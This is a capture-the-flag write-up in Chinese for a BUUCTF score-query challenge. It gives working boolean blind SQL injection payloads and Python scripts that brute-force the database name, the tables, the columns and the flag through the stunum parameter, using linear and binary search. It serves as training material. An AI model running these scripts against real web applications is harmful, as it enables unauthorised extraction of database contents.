buuctf-[WUSTCTF2020]颜值成绩查询

打开环境，随便输个1看看

输个2

发现功能就是输入一个学号，然后返回对应的成绩，就是一个简单的查询操作。

当输入的学号不存在时，只会返回“student number not exists.”。

猜测是盲注题，因为看不见其他的回显信息，初步想法是构造值为1或0的表达式来进行探测。

先写查询语句

if(ascii(substr(database(),1,1))>1,1,0)

发现回显

爆数据库

import requests
import time

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''

for i in range(1,200):   #位数
    for j in range(1,128):    #ascii码值
        payload = "if(ascii(substr(database(),{},1))={},1,0)".format(i,j)
        r=requests.get(url=base_url+payload)
        if(r.status_code==429):   #设置睡眠
            time.sleep(0.5)
        if r"Hi admin, your score is: 100" in r.text:   #设置成功条件
            data+=chr(j)
            print(data)

 

使用二分法来爆破

import requests

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''
payload="if(ascii(substr(database(),{},1))>{},1,0)"
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        payload1=payload.format(i,mid)
        r = requests.get(url=base_url+payload1)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 132):
        break
    data+=chr(mid)
    print(data)

爆表

if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ctf"),1,1))>1,1,0)

flag

爆字段

if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),1,1)>1,1,0)

flag,value

如果不采用二分法，会跑的很慢

import requests
import time

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''

for i in range(1,200):   #位数
    for j in range(1,128):    #ascii码值
        payload = "if(ascii(substr(database(),{},1))={},1,0)".format(i,j)
        payload2 = 'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ctf"),{},1))={},1,0)'.format(i,j)
        payload3="if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))={},1,0)".format(i,j)
        payload4="if(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))={},1,0)".format(i,j)
        r=requests.get(url=base_url+payload4)
        if(r.status_code==429):   #设置睡眠
            time.sleep(0.5)
        if r"Hi admin, your score is: 100" in r.text:   #设置成功条件
            data+=chr(j)
            print(data)

最后脚本

import requests
import time

url = "http://1add8b29-2363-4589-a08f-89fde2996fef.node4.buuoj.cn:81/?stunum="

result = ""
i = 0

while (True):
    i = i + 1
    low = 32
    high = 127

    while (low < high):
        mid = (low + high) >> 1

        # payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)

        # payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)

        # payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)

        payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)
        r = requests.get(url + payload)
        time.sleep(0.5)
        r.encoding = "utf-8"
        # print(url+payload)
        if "your score is: 100" in r.text:
            low = mid + 1
        else:
            # print(r.text)
            high = mid

    last = result
    if low != 32:
        result += chr(low)
    else:
        break
    print(result)